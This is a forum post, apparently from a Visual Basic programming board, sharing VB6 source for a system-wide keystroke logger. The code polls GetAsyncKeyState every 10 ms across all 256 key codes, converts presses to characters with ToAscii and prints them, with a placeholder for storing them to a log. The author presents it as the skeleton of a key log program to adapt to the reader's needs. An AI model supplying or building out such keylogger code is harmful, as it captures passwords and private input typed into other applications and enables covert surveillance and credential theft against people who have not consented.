Here's some code I've just finished which Logs all Keyboard Input regardless of which Application is recieving it.
It's really only the Skeleton of any kind of Key Log Program but should be easily configured to meet your specific needs:
Add a Timer Control to your Form..
Code:Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long Private Const VK_SHIFT = &H10 'Used by Win9x Private Const VK_LSHIFT = &HA0 'Used by NT Private Const VK_RSHIFT = &HA1 'Used by NT Private Sub Form_Load() 'Need a Very Low Interval to Ensure the Keys are Captured in the Correct Order Timer1.Interval = 10 Timer1.Enabled = True End Sub Private Sub Timer1_Timer() Dim iKey As Integer Dim iAsc As Long Dim bKeys(255) As Byte For iKey = 0 To 255 'Use GetAsyncKeyState to Monitor Keypress From Anywhere in the O/S. If GetAsyncKeyState(iKey) And iKey <> VK_LSHIFT And iKey <> VK_RSHIFT And iKey <> VK_SHIFT Then Exit For Next If iKey < 256 Then 'Get the Current Keyboard State For the Shift Keys Etc.. Call GetKeyboardState(bKeys(0)) While GetAsyncKeyState(iKey) 'Wait for Key to be Released Wend 'Conver the Key to it's ASCII Equivilant Call ToAscii(iKey, 0&, bKeys(0), iAsc, 0&) If iAsc Then 'Store Keypress to Log Here Debug.Print Chr(iAsc); End If End If End Sub
------------------
Aaron Young
Analyst Programmer
[email protected]
[email protected]




Reply With Quote